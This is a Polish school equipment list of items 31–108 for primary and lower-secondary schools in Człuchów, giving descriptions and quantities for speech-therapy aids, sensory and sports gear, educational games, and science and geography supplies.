31	logopedia- pakiet programów	Pakiet programów logopedycznych. Zastosowanie: diagnoza i terapia logopedyczna. Odbiorcy: logopedzi. Beneficjenci: dzieci z wadami wymowy i/lub zaburzeniami słuchu i komunikacji. Pakiet obejmuje 14 programów takich jak: szereg szumiący - moduł podstawowy, szereg syczący - moduł podstawowy, szereg ciszący - moduł podstawowy, szereg szumiący - moduł profesjonalny, szereg syczący - moduł profesjonalny, szereg ciszący - moduł profesjonalny, różnicowanie szeregów, głoska r - moduł podstawowy, głoski r, l - moduł profesjonalny, mowa bezdźwięczna, fonem, echokorektor, trening logopedyczny, głoski tylnojęzykowe k, g, h.  Pakiet pozwala na: umożliwienie wcześniejszego rozpoczęcia pracy z dziećmi już z najmłodszych grup wiekowych, np. dzieci 2 i 3 letnie; poszerzenie zakresu zastosowań pakietu, np. o zajęcia grupowe; zwiększenie liczby materiałów w zakresie zagadnień językowych, wymagających w dzisiejszych czasach szczególnej uwagi, np. ćwiczenia z opozycji głoskowych, ćwiczenia kształcenia słuchu fonemowego, ćwiczenia dla dzieci z niepłynnością mówienia itp.; zwiększenie liczby tekstów automatyzujących użycie skorygowanych już głosek; dodanie możliwości zorganizowania zajęć z pragmatyki języka, takich jak: komunikacja, umiejętność zadawania pytań, nauka zrozumienia zasad rządzących komunikacją międzyludzką, doskonalenie umiejętności prawidłowego interpretowania dialogów prowadzonych w różnych kontekstach sytuacyjnych; stworzenie szerszych możliwości zastosowania produktów w zajęciach profilaktycznych, np. w przedszkolu.	1	SP nr 1 w Człuchowie
32	cyfrowy korektor mowy	Urządzenie służące do poprawy płynności mowy,zalecane szczególnie w terapii jąkani. Zestaw składa się z miniaturowego urządzenia i artykuły do ćwiczeń rehabilitacyjno- ruchowych oraz komputerowego korektora mowy - programu umożliwiającego prowadzenie terapii z użyciem komputera osobistego. Aplikacja działa na komputerach z systemem operacyjnym z rodziny Windows (9x/Me/NT/2000/XP/Vista).	1	SP nr 1 w Człuchowie
33	program logopedyczny o diagnozy oraz planowania terapii	Aplikacja do diagnozy oraz planowania terapii. Aplikacja nauczyciela umożliwiająca przeprowadzenie wstępnej diagnozy pedagogicznej z orientacyjną oceną gotowości szkolnej oraz oceny ryzyka dysleksji i dyskalkulii. Program wyposażony w test prediagnostyczny dzięki któremu szybko można sprawdzić, czy dziecko posługuje się komputerem na tyle sprawnie, aby uczestniczyć w multimedialnej terapii. Program umożliwia śledzenie postępów terapii w drodze porównywania kolejnych diagnoz. Wersja rozszerzona. 	1	SP nr 1 w Człuchowie
34	multimedialny pakiet logopeyczny	Multimedialny ppakiet logopedyczny. Zawartość pakietu (7 logopedycznych programów komputerowych w 1 pakiecie). Cechy pakietu: przydatny do ćwiczenia wszystkich najczęściej zaburzanych przez dzieci głosek (dyslalia), wymowy bezdźwięcznej oraz kształtowania słuchu fonemowego, - pakiet uwzględnia zasadę stopniowania trudności: pierwsze ćwiczenia polegają na zapoznaniu dziecka z obrazkiem, jego wzorcem słuchowym i wzrokowym, ostatnie ćwiczenie w każdym programie jest ćwiczeniem dynamicznym, wymagającym umiejętności poprawnej wymowy, koncentracji uwagi i sprawności motorycznej; - programy służą do utrwalania zaburzonej głoski lub głosek w wyrazach w różnych pozycjach, - ćwiczenia w programach komputerowych są zintegrowane z ćwiczeniami tradycyjnymi zawartymi w zeszycie ćwiczeń, można je wykorzystywać dla dzieci czytających i nieczytających, - pakiet umożliwia rejestrację postępów dziecka. Wymagania techniczne: Procesor Pentium 1 GHz lub porównywalny, 512 MB pamięci RAM, Grafika min. 800 x 600 Truecolor, Karta dźwiękowa, System: Windows 98, XP, Vista, 7, Napęd CD lub DVD, 100 MB wolnego miejsca na dysku twardym	1	SP nr 1 w Człuchowie
35	lustro logopedyczne	Duże, nietłukące się lustro w ramie ze sklejki, pozwalające nauczycielowi na ćwiczenia logopedyczne wraz z dzieckiem. Mocowane do ściany za pomocą wkrętów. Wym. lustra 60 x 120 cm. Wym. z ramą 132 x 72 cm	1	SP nr 1 w Człuchowie
36	logopedyczne mikrofony	Mikrofon z funkcją nagrywania i odtwarzania. Szybko możemy nagrać słów, dialogów lub dowolnych dźwięków z otoczenia, ponieważ mikrofon posiada wbudowaną kartę pamięci 128 MB. Dzięki łączu USB mikrofon możemy łatwo podłączyć mikrofon do komputera, aby odtworzyć lub zgrać wykonane nagranie. Mikrofon można wykorzystać w wielu sytuacjach: dla uatrakcyjnienia terapii logopedycznej, do zajęć językowych w przedszkole i przedszkolu. Mikrofon działa na akumulator, który łądujemy za pomocą łącza USB	5	SP nr 1 w Człuchowie
37	mata sensoryczna z kolcami	Mata sensoryczna  wyposażona w miękkie wypustki, zapewniające efekt dodatkowej stymulacji stref reflektorycznych. Używana w korekcji wad postawy (np.: płaskostopie). Łatwa do utrzymania czystości. Mata posiada 7 tysięcy stymulujących wypustków sensorycznych. Duża 120/60 cm	2	SP nr 1 w Człuchowie
38	kształtki piankowe - tunel	Różnokolorowe kształtki piankowe do budowy tunelu. Idealne do ćwiczeń ruchowych oraz do gimnastyki. Zestaw składa się z 4 elementów	1	SP nr 1 w Człuchowie
39	kształtki piankowe - tuba mała	Piankowa kształtka w formie tuby. Idealna do zabaw ruchowych dla najmłodszych. Wym.: śr. 60 cm, dł. 60 cm.
2	SP nr 1 w Człuchowie
40	chmurki do balansowania	W zestawie: 2 chmurki niebieskie i 2 zielone. Wym.: 31,5 x 23,7 x 4,5 cm. 	1	SP nr 1 w Człuchowie
41	komplet szpatułek 	Szpatułki/ łyżeczki. W skład kompletu wchodzą: łyżeczka do spalań, łyżeczka do spalań zgięta pod kątem 90, łyżeczka do spalań zgięta pod kątem 60, szpatułka podwójna prosta, szpatułka podwójna zgięta, szpatułka z końcem do posypywania i rozdrabniania	1	SP nr 1 w Człuchowie
42	 	 	1	SP nr 1 w Człuchowie
43	magiczny alfabet	Dwustronny zestaw liter - po jednej stronie płytek znajdują się małe, a po drugiej wielkie litery. Litery znajdujące się wewnątrz kasetki można przesuwać za pomocą magnetycznego wodzika, układając z nich pojedyncze słowa lub proste zdania, np. odpowiedzi na proste pytania, rozwiązania zagadek, jednozdaniowe opisy wskazywanych przez nauczyciela lub rodzica przedmiotów. Przesuwanie literek wymaga wykonywania płynnych ruchów i wodzenia wzrokiem za literą, co pomaga w nauce czytania. Zabawa ta rozwija umiejętności rozpoznawania liter i zestawiania ich w wyrazy, a także kształtuje precyzję ruchów i poprawia koordynację wzrokowo-ruchową. Korzystanie z zestawu jest proste i wygodne zarówno w czasie lekcji, jak i podczas indywidualnej pracy z dzieckiem. Litery umieszczone w płaskiej, przezroczystej kasetce.	1	SP nr 1 w Człuchowie
44	magnetyczny zeszyt	Pomoc dydaktyczna pomagająca w nauce pisania i czytania. Pomaga w pisaniu z pamięci i ze słuchu, umożliwiając jednoczesne przeprowadzanie szeregu ćwiczeń związanych m.in. z koordynacją wzrokowo-ruchową i sprawnością manualną. W skład zestawu wchodzi składana, dwuczęściowa tabliczka magnetyczna, mazak suchościeralny, komplet folii i szablonów do poprawnego pisania liter, a także zestaw plansz ułatwiających poznawanie podstawowych figur geometrycznych oraz zestaw szablonów do nauki ułamków. Do zestawu dołączona jest instrukcja zawierająca przykłady wykorzystania zestawu na zajęciach dydaktycznych.	4	SP nr 1 w Człuchowie
45	mozaika magnetyczna	Gra edukacyjna. W zestawie 35 magnetycznych klocków, 20 kart z wzorami i magnetyczna walizeczka. Wym.: 30 x 30 x 3,7 cm	2	SP nr 1 w Człuchowie
46	gra logopedyczna	 gra dla 2-4 graczy, stworzona z myślą o dzieciach z zaburzeniami mowy. Gra zawiera plastikową ramkę-podstawę z 9 otworami, 4 dwustronne plansze z obrazkami zwierząt oraz 36 żetonów i polega na przedmuchiwaniu piłeczki na odpowiednie pola kontrolując tym samym oddech i ćwicząc mięśnie jamy ustnej. Wymiary opakowania: 22x22x10 cm. 	1	SP nr 1 w Człuchowie
47	ćwiczenia logopedyczne. Pakiet zeszytów 1-13	Zeszyty ćwiczeń logopedycznych stanowiące materiał pomocniczy i utrwalający w korygowaniu wad wymowy u dzieci. Ćwiczenia te mogą być wykorzystywane w gabinetach logopedycznych przez terapeutów mowy. W zestawie 13 zeszytów ćwiczeń.
1	SP nr 1 w Człuchowie
48	puzzle logopedyczne	Puzzle logopedyczne zawierające materiał ćwiczeniowy szczególnie przydatny logopedom, terapeutom, nauczycielom tych dzieci, które z różnych przyczyn nie opanowały jeszcze umiejętności poprawnego, pod względem artykulacyjnym, wysławiania się, mają problemy w komunikacji z otoczeniem oraz trudności z czytaniem i pisaniem. 2 zestawy puzzli: 1) zawierający materiał językowy do utrwalania właściwej wymowy głosek: s, z, c, ć, dż, ich poprawnego czytania, pisania 2) zawierający materiał językowy do utrwalania właściwej wymowy głosek: j, ł, ch, n, m, ich poprawnego czytania, pisania oraz dzielenia wyrazów w sylaby	5	SP nr 1 w Człuchowie
49	wibrator logopedyczny	Wibrator aktywizuje, pionizuje i usprawnia motorykę przedniej części języka, co jest pomocne nie tylko w korekcji rotacyzmu, ale też w przezwyciężaniu palatalizacji (zmiękczania głosek), gdy środkowa część języka jest najbardziej aktywna. Praca z aparatem przyspiesza pojawianie się głosek szumiących (ułatwia ich wywoływanie). Skuteczne narzędzie wywoływania i utrwalania głoski r. 2 łopatki (miękka i twarda), wibrator 	2	SP nr 1 w Człuchowie
50	taśma do zabaw grupowych	Rozciągliwy wąż lateksowy z powłoką ze 100% lycry. Dł. 5 m.	2	SP nr 1 w Człuchowie
51	balansujący jeż	Balansujący jeż do trening równowagi na najmniejszej powierzchni. Balansujący jeż wspiera dużą motorykę i zmysł równowagi. Kolczasta powierzchnia dba dodatkowo o efekt masażu i relaksu. W zestawieniu z innymi powierzchniami (np. z gładkimi półkulami) wyrabia się zmysł dotyku. Z zaworem iglicowym do regulowania nacisku. Materiał: wysokiej klasy ruton. Kolor: czerwony. Wymiary:  16 cm.	10	SP nr 1 w Człuchowie
52	hula-hoop z piłką	Obręcz, do której została umocowana piłka na lince. Zabawa polega na przeskakiwaniu nad linką tak, aby jej nie dotknąć. Rozwija sprawność fizyczną, koncentrację i refleks. Obręcz o śr. 16 cm, piłeczka o śr. 7,2 cm, linka o dł. 55 cm, 6 szt.	2	SP nr 1 w Człuchowie
53	miękka piłka	Miękka piłka do gry w piłkę nożną oraz do zabaw ruchowych. Śr. 9 cm.	20	SP nr 1 w Człuchowie
54	piankowa kostka z bocznymi kieszonkami	Piankowa kostka z bocznymi kieszonkami-czerwona. Materiał:pokrycie ze sztucznej skóry. Wymiary: długość boku 20cm	2	SP nr 1 w Człuchowie
55	taśma - guma do ćwiczeń	Taśma  - Guma do ćwiczeń w kształcie pętli służy do ćwiczeń kończyn górnych i dolnych (kolr: niebieski, zielony, czerwony)	10	SP nr 1 w Człuchowie
56	taśma ekspander	Elastyczna taśma. Charakteryzują ją właściwości taśmy gimnastycznej, ale łatwiej ją chwytać poprzez charakterystyczne zgrubienia na końcach. Terapia ręki, praca w obrębie barków, ramion, pleców - z możliwością napinania i rozluźniania wybranych obszarów. Materiał: tworzywo TPR. Wymiary przed rozciągnięciem: ok. 33 cm.	15	SP nr 1 w Człuchowie
57	kształtki piankowe - duże półkole z kwadratem	Kształtki rehabilitacyjne wykonane z pianki i pokryte specjalną, odporną na ścieralność, antypoślizgową, nieprzemakalną i łatwozmywalną tkaniną. Można je łączyć w dowolny sposób. Znakomicie sprawdzają się przy ćwiczeniach rehabilitacyjnych. Wymiary: r. 60 x szer. 30 cm. wymiar wew.: 60 x 30 cm	2	SP nr 1 w Człuchowie
58	kształtki piankowe - walec	Kształtki rehabilitacyjne wykonane z pianki i pokryte specjalną, odporną na ścieralność, antypoślizgową, nieprzemakalną i łatwozmywalną tkaniną. Można je łączyć w dowolny sposób. Znakomicie sprawdzają się przy ćwiczeniach rehabilitacyjnych. Wymiary: śr. 60 x dł. 60 cm	2	SP nr 1 w Człuchowie
59	kształtki piankowe - skrzynia wypukła 	Kształtki rehabilitacyjne wykonane są z pianki i pokryte specjalną, nieprzemakalną i łatwozmywalną tkaniną. Można je łączyć w dowolny sposób. Znakomicie sprawdzają się przy ćwiczeniach rehabilitacyjnych oraz przy wszelkiego rodzaju zajęciach ruchowych, np. przy tworzeniu torów przeszkód. Wielokrotności wymiarów dają możliwość tworzenia wielu ciągów torów przeszkód. Wymiary: 30 x 60 x 60 cm	2	SP nr 1 w Człuchowie
60	wałki z kolcami do masażu (duże)	Wałek z kolcami do ćwiczeń zdolności motorycznych oraz zmysł dotyku. Maksymalne obciążenie 150 kg. Wym.: szer. 100 x śr. 50 cm.	2	SP nr 1 w Człuchowie
61	piłka fasolka	Wałek idealny do przeróżnych ćwiczeń balansowania oraz fizycznych zajęć. Śr.: 55 cm.	2	SP nr 1 w Człuchowie
62	gra strategiczna Blokus	Gra edukacyjna. Zasady gry: każdy z graczy otrzymuje 21 elementów i po kolei umieszcza je na planszy. Każdy element musi dotykać innego elementu w tym samym kolorze, ale tylko narożnikiem.  Zawartość: 84 elementy, plansza do gry, instrukcja.
Gra dla 2-4 graczy, w wieku powyżej 7 lat.	4	SP nr 1 w Człuchowie
63	gra strategiczna Rummikub	Gra strategiczna, która polega na pozbyciu się wszystkich kostek z liczbami ze swojej tabliczki, wykładając na stół sekwencje lub ciągi minimum 3-liczbowe. Najciekawszą jest możliwość ingerencji w już wyłożone kostki. W swojej kolejce można je dowolnie przesuwać i modyfikować, byle tylko na koniec nie naruszyć podstawowej zasady - minimum 3 kostki w sekwencji lub ciągu. Zawartość pudełka: 106 ponumerowanych kości (w tym 2 jokery), 4 tabliczki, 8 nóżek, instrukcja	4	SP nr 1 w Człuchowie
64	gra edukacyjna Blockers	Gra edukacyjna. Celem gry jest tworzenie połączonych grup własnych płytek na planszy, jednocześnie unikając schwytania zbyt wielu płytek tego samego koloru. Grupą określa się dowolny połączony zestaw płytek tego samego koloru, znajdujący się na planszy. Nie liczą się połączenia poprowadzone na skos. Pojedyncza płytka, nie połączona z żadnymi innymi płytkami tej samej barwy, również traktowana jest jak grupa.Na zakończenie gry uczestnik zlicza wszystkie grupy posiadane na stole oraz wszystkie płytki tego samego koloru, jakich schwytał najwięcej przez całą partię. Zwycięzcą zostaje ten, kto posiada najmniejszą liczbę elementów z obu tych zbiorów (najmniej własnych grup i schwytanych płytek). Gra dla 2-5 osób w wieku od 8 lat. Czas rozgrywki: 30-40 min.
4	SP nr 1 w Człuchowie
65	logiczna gra edukacyjna geniusz	Gra logiczna. Celem gry jest zebranie zestawu kafelków o różnych kolorach. Gracze znają kolory jedynie kilku odsłoniętych elementów a kolejne dobierane kafelki muszą zostać dobrane kolorem do tych już widocznych, w przeciwnym wypadku gracz nie może zebrać ich do swej puli.
Gracze, poza umiejętnością logicznego myślenia i odrobiną szczęścia, będą musieli wykazać się nieprzeciętną pamięcią. Zawartość pudełka: 126 żetonów, instrukcja. Liczba graczy: 2-4
Wiek: od 8 lat. Czas rozgrywki: ok. 20 minut.	4	SP nr 1 w Człuchowie
66	eukacyjna gra matematyczna	Matematyczna gra edukacyjna. Zaady gry: losując kolejno z worka cyfry i znaki działań matematycznych, gracze starają się ułożyć jak najszybciej działanie, którego wynikiem jest jedna z liczb przedstawiona na odkrytej karcie.Wygrywa ten, kto ułoży najwięcej prawidłowych działań. Gra zmusza do myślenia, jest emocjonującą zabawą i zarazem znakomitym treningiem liczenia. Gra oferowana jest w 3 wariantach wielkości, które różnią się ilością i rodzajem rekwizytów.	4	SP nr 1 w Człuchowie
67	edukacyjna gra matematyczna	Gra do nauki tabliczki mnożenia. Zasady gry: królik wraca do domu z dalekiej wyprawy. Po drodze napotyka na wiele przeszkód, które opóźniają marsz, ale znajduje również przyjaciół, którzy mu pomagają. Każdy z graczy wcielając się w rolę królika usiłuje jak najszybciej dotrzeć do ostatniego pola na planszy. Każdy ma także szansę poruszać się szybciej, jeśli odpowie na zadane przez przeciwnika pytanie z tabliczki mnożenia. Gra dla 2-4 graczy w wieku od 5 lat.	4	SP nr 1 w Człuchowie
68	gra edukacyjna pomyśl i połącz Wszechświat	W tej grze, kartom z rysunkami poszczególnych elementów układu słonecznego należy przyporządkować odpowiednie karty z opisem. Kto pierwszy pozbędzie się swoich kart, wygrywa. Gra zawiera 100 kart oraz instrukcję w języku polskim. Gra przeznaczona dla 1 do 8 osób, w wieku od 7 lat.	4	SP nr 1 w Człuchowie
69	szachy w metalowym pudełku	Klasyczne, drewniane szachy w eleganckim metalowym pudełku.	4	SP nr 1 w Człuchowie
70	gra edukacyjna akcje i reakcje	Gra strategiczna.Gra polegająca na gromadzeniu i pomnażaniu majątku, głównie przez inwestycje na giełdzie i lokowanie pieniędzy w banku. Ilość graczy: 2-4 graczy. Wiek: &gt;8 lat	4	SP nr 1 w Człuchowie
71	gra edukacyjna pociągi Europa	Gra edukacyjna. Zasady gry: każdy z uczestników stara się połączyć swoje 5 miast siecią trakcji kolejowych.
W każdej turze umieszcza się jedno lub dwa połączenia między wybranymi punktami. Kluczem do zwycięstwa jest budowa optymalnych połączeń i wykorzystywanie torów kolejowych tworzonych przez innych graczy. Ilość graczy: 2-5 graczy 	4	SP nr 1 w Człuchowie
72	tablica motywacyjna	Tablica motywacyjna w całości  wykonana z foli magnetycznej, dodatkowo wzmocniona laminatem na zewnątrz, co nadaje jej błysk, jak również pełni funkcję ochronną, tak aby łatwo można było ją przetrzeć, gdy zajdzie taka potrzeba. Wymiar tablicy to 30 cm X 40 cm. W zestawie: 1 Magnetyczna tablica motywacyjna w formacie A3 (30 cm/ 40 cm) na grubej folii magnetycznej  dodatkowo zabezpieczona laminatem; 20 szt. magnesów zadań do wykonywania; 5 szt. magnesów pustych do dowolnego uzupełniania; 49 szt. magnesów motywacyjnych wesołych buziek; 10 szt. magnesów smutnych buziek; 4 szt. magnesów płaczących buziek.	2	SP nr 1 w Człuchowie
73	mikroskop szkolny	Mikroskop. Cechy: szklana optyka zapewnia jasny i ostry obraz; solidny, metalowy korpus gwarantuje wieloletnią niezawodność;  współosiowa śruba makrometryczna i śruba mikrometryczna - ułatwia precyzyjne regulacje ostrości szczególnie przy dużych powiększeniach; podwójny system oświetlenia z regulacją jasności: przechodzące oraz odbite (górne). Oświetlenie odbite umożliwia obserwowanie obiektów nieprzeźroczystych (np. owady, minerały); zasilanie sieciowe 230V; duży zakres powiększeń: od 40x do 400x; stolik krzyżowy z uchwytem preparatów oraz pokrętłami przesuwu w płaszczyźnie poziomej - precyzyjny wybór obszaru badań; sześciogniazdowe koło z kolorowymi filtrami, które pozwalają uzyskać lepszy kontrast podczas obserwacji	1	Gimnazjum nr 1 Człuchowie
74	szkielet człowieka	 Szkielet człowieka 170 cm (realny rozmiar). Szkielet dorosłego człowieka wykonany z plastiku. Ramiona i nogi można wymontować do odrębnej nauki. Szkielet zawiera rozgałęzienia nerwowe, tętnice kręgową oraz dysk lędźwiowy. Czaszka zawiera ruchomą szczękę, linie szwowe, ścięte sklepienie oraz 3 wymienne dolne zęby. Szkielet jest zamontowany na metalowym statywie 16''. Wykonany jest z łatwego do umycia oraz niełamliwego plastiku PVC.	1	Gimnazjum nr 1 Człuchowie
75	model tułowia ludzkiego z głową	Tułów człowieka, model unisex45 cmZ wyjmowanymi organami wewnętrznymi. Niewielki, niezwykle wygodny do ekspozycji 23 częściowy model budowy wewnętrznej ludzkiego tułowia umieszczony na podstawie. Możliwe jest wyjęcie każdego z organów (prezentacja w pozycji poziomej) i bezpośrednie zapoznanie się z ich budową; elementy odczepiane to: płuca (2 części), serce, wątroba, żołądek, jelita, pęcherz moczowy oraz inne. Na każdym z narządów doskonale widoczne ukrwienie. Po usunięciu wszystkich narządów wewnętrznych można obejrzeć kolejne warstwy ludzkiego tułowia.	1	Gimnazjum nr 1 Człuchowie
76	metalowa szafa na odczynniki z wyciągiem grawitacyjnym	 Szafa na odczynniki z wyciągiem grawitacyjnym przeznaczona jest do pracowni fizyko-chemicznej. Wyposażona jest w drzwi dwuskrzydłowe zamykane na zamek patentowy oraz odpowiednie oznakowanie (piktogramy). Szafa w całości metalowa koloru popielatego. Półki z regulowaną wysokością o nośności 50kg. Wymiary szafy ok 180x80x40 Wyposażenie :Szafa na odczynniki, rura  z PP 2x1,5m, kolano x 2szt,maskownica  wentylacji.	1	Gimnazjum nr 1 Człuchowie
77	tellarium	Ruchomy model układu Słońce-Ziemia-Księżyc, wykorzystywany na lekcjach geografii i astronomii do wyjaśniania obserwowanych na Ziemi zjawisk astronomicznych, tj. zaćmienia, fazy Księżyca czy pory roku.
Wykorzystano w nim innowacyjne rozwiązanie w postaci soczewki Fresnela, do stworzenia wiernego naturze modelu oświetlenia Ziemi za pomocą wiązek równoległych światła.
(średnica słońca 100mm, średnica ziemi 70mm, średnica księżyca 10mm)
Wymiary: 720 x 370 x 250 mm.	1	Gimnazjum nr 1 Człuchowie
78	aptczka z wyposażeniem	Apteczka z wyposażeniem. Skład apteczki: 2 szt. Opatrunek indywidualny G 2 szt. Opaska elastyczna 4 m x 6 cm 1 szt. Opaska elastyczna 4 m x 8 cm 2 szt. Chusta trójkątna 1 kpl. Zestaw plastrów wykrywalnych: 10 szt. - 1,9 x 7,2 cm i 10 szt. - 2,5 x 7,2 cm 10 szt. Rękawiczki jednorazowe nitrylowe 1 szt. Zestaw do płukania oka 1 szt. Koc ratunkowy 1 szt. Ustnik do szt. oddychania 3 szt. Kompres 10 x 10 (pak po 2 szt.) 2 szt. Chusta opatrunkowa 60 x 80 cm 3 szt. Opatrunek Hydrożelowy 1 szt. Płyn do odkażania rąk Skinman Soft 5 szt. Worek foliowy 1 szt. Nożyczki 14,5 cm 1 szt. Opatrunek/siatka opatrunkowa typu codofix 1 szt. Instrukcja udzielania pierwszej pomocy wraz z wykazem telefonów alarmowych.Apteczka zawiera stelaż mocujący do ściany. Rozmiar opakowania: 280 x 200 x 115 mm.	1	Gimnazjum nr 1 Człuchowie
79	fartuch laboratoryjny	Fartuch z białego płótna (100% bawełna) z długimi rękawami, kieszeniami, paskiem regulującym obwód oraz zapinane na guziki. 	5	Gimnazjum nr 1 Człuchowie
80	deska do krojenia	Elastyczna deska do krojenia. Deska wykonana z tworzywa sztucznego nie pochłania zapachów i jest niezwykle łatwa do czyszczenia. Produkt posiada uchwyt na palce, który umożliwia również zawieszenie deski.
4	Gimnazjum nr 1 Człuchowie
81	okulary ochronne	Podstawowe okulary ochronne z otworami wentylacyjnymi.	2	Gimnazjum nr 1 Człuchowie
82	waga laboratoryjna	Waga laboratoryjna 0,1-1kg elektroniczna. Duża waga laboratoryjna z nowoczesnym wyglądem wykonana z trwałego PCV.
Zakres pomiaru od 0,1g, wyświetlacz LCD o wymiarach 5x2cm.
Zasilanie bateryjne 2x1,5AA nie wymaga podłaczenia do prądu. Wymiary 20x15x5 szerokość szalki 15cm.	1	Gimnazjum nr 1 Człuchowie
83	lornetka 	Lornetka o budowie dachopryzmatyczna, kolorowe soczewki, pryzmaty ze szkła optycznego klasy min. BK7, średnica obiektywów 25 mm, powiększenie min. 10 razy, masa max. 170 gram, w zestawie pasek do lornetki i pokrowiec.	2	Gimnazjum nr 1 Człuchowie
84	ciśnieniomierz	Ciśnieniomierz automatyczny z możliwością wykonania pomiaru na ramieniu, wyświetlacz cyfrowy pokazujący czytelne wyniki, pamięć 2 x 60 ostatnich wyników, uniwersalny mankiet na ramię od 22 cm do 33 cm obwodu, o zakresie pomiarowym ciśnienia od 0 do 299 mm Hg, tętna od 40 do 200 uderzeń/minutę, zasilanie 4 baterie AA 1,5 V	1	Gimnazjum nr 1 Człuchowie
85	palnik alkoholowy	Mały, poręczny palnik alkoholowy 60 ml, szklany, z knotem.	4	Gimnazjum nr 1 Człuchowie
86	klucze do oznaczania roślin	książka zawierająca dychotomiczne klucze do oznaczania paprotników oraz nago- i okrytonasiennych i obejmuje ok. 3 tysięcy gatunków. Używanie Klucza ułatwia: ilustrowane omówienie organów roślin oraz słownik terminów botanicznych. Gatunki zaopatrzono w metryczki informujące m.in. o środowisku, formie życiowej, czasie kwitnienia, czy jest rośliną uprawną, leczniczą, trującą i chronioną.	7	Gimnazjum nr 1 Człuchowie
87	model skóry człowieka	Model skóry człowieka wykonany z PCV; wym. 22,8 x 30 x 33 cm	1	Gimnazjum nr 1 Człuchowie
88	model serca ludzkiego podstawowy	Model serca składający się z 31 elem.; wys. modelu 14 cm; wysoka jakość elem.;  stojak	5	Gimnazjum nr 1 Człuchowie
89	rękawiczki lateksowe	Rękawice lateksowe lekko pudrowane S	3	Gimnazjum nr 1 Człuchowie
90	stojak do probówek	Stojaki do probówek, na 6 probówek + 6 kołeczków do osuszania probówek, plastikowy: średnica otworu 25 mm	3	Gimnazjum nr 1 Człuchowie
91	probówki	Probówka szklana (borokrzem.) - 10 szt. 16x150 mm 	10	Gimnazjum nr 1 Człuchowie
92	zlewki miarowe 250 ml, kpl. 4	Zlewki miarowe (borokrzemian.), 250 ml, kpl 4 	10	Gimnazjum nr 1 Człuchowie
93	zlewki miarowe 50 ml, kpl.4	Zlewki miarowe (borokrzemian.), 50 ml, kpl 4 	10	Gimnazjum nr 1 Człuchowie
94	bagietka szklana	Bagietka szklana , kpl. 5szt.	10	Gimnazjum nr 1 Człuchowie
95	rozdzielacz szklany 250 ml	Rozdzielacz ze szkła borokrzemianowego ze szklanym kranem i plastikowym korkiem o pojemności 250 ml.	4	Gimnazjum nr 1 Człuchowie
96	parownica porcelanowa	Parownica porcelanowa 100 ml	5	Gimnazjum nr 1 Człuchowie
97	łyżka do spalań	Łyżka służy do ogrzewania lub osuszania niewielkich ilości substancji. Dostarczana z ochronnym kołnierzem, lekko talerzykowatym, przesuwanym na gumowym korku, zdejmowanym.	5	Gimnazjum nr 1 Człuchowie
98	siatka z krążkiem ceramicznym	Siatka z krążkiem ceramicznym do stojaka nad palnik. Bezazbestowy. Średnica krążka: ok. 7 cm.	5	Gimnazjum nr 1 Człuchowie
99	łyżko-szpatółka	Metalowa łyżka z płaskim rozszerzonym (prostokątnym) końcem w kształcie szpatułki. Przydatna do nabierania, odmierzania i rozdrabniania materiałów sypkich, w tym do pobierania niewielkich prób glebowych.	4	Gimnazjum nr 1 Człuchowie
100	szczotka do probówek	Szczotka do mycia probówek	4	Gimnazjum nr 1 Człuchowie
101	kompas	Kompas z zamykaną obudową z instrumentami celowniczymi, komora busoli z igłą magnetyczną wypełniona olejem mineralnym tłumiącym drgania. Średnica 5cm	10	Gimnazjum nr 1 Człuchowie
102	ogólnogeograficzna mapa Europy	Mapa ogólnogeograficzna Europy/mapa do ćwiczeń. Na jednej stronie zamieszczono mapę ogólnogeograficzną Europy; na mapie przedstawiono ukształtowanie powierzchni kontynentu (zastosowano metodę hipsometryczną), rozmieszczenie obiektów hydrograficznych, położenie najważniejszych miejscowości, linii kolejowych i dróg, przebieg granic państw i kontynentów; mapę wyróżnia bogate nazewnictwo fizycznogeograficzne; na drugiej stronie znajduje się wersja mapy przeznaczona do ćwiczeń (bez nazewnictwa)	1	Gimnazjum nr 1 Człuchowie
103	polityczna mapa Europy	Mapa polityczna Europ. Na jednej stronie zamieszczono mapę w skali 1:4 000 000 przedstawiającą podział polityczny Europy, druga strona zawiera trzy mapy o tematyce ludnościowej: pierwsza z nich w skali 1:4 000 000 prezentuje rozmieszczenie ludności w Europie, a dwie kolejne w skali 1:8 000 000  zróżnicowanie etniczne i wyznaniowe mieszkańców kontynentu	1	Gimnazjum nr 1 Człuchowie
104	globus fizyczny	Duży globus fizyczny dla ucznia lub do ćwiczeń grupowych w polskiej wersji językowej.  Średnica kuli 220 mm.	10	Gimnazjum nr 1 Człuchowie
105	globus indukcyjny	Globus indukcyjny w postaci czarnej kuli o matowej powierzchni, na której kreślić można kolorowa kredą, a po zakończeniu zajęć wszystko usunąć wilgotną gąbką. Średnica kuli 250 mm	4	Gimnazjum nr 1 Człuchowie
106	zestaw skał i minerałów	Zestaw 24 okazów wielkości ok. 3 cm każdy obejmuje po 6 okazów z każdej z następujących grup: minerały skałotwórcze, skały osadowe, skały magmowe, skały przeobrażone (in. metamorficzne).	1	Gimnazjum nr 1 Człuchowie
107	skamieniałości - kolekcja podstawowa	15 okazów skamieniałości (w pudełku z przegródkami) ilustruje formy życia występujące w historii geologicznej Ziemi	1	Gimnazjum nr 1 Człuchowie
108	ph-metr	Wodoszczelny, elektroniczny pH-metr z elektrodą i wyświetlaczem ciekłokrystalicznym zasilany czterema (1,5 V) bateriami (700 godzin ciągłego użytkowania). Zakres: 0,0-14,0 pH. Skala: 0,1 pH. Dokładność: +/- 0,1 pH. Otoczenie: 0-50 oC, max. 95% wilg. wzgl. Wymiary: 17,5 x 4,1 x 2,3 cm, waga 95 g. Dostarczany z kpl. buforów kalibracyjnych.	2	Gimnazjum nr 1 Człuchowie
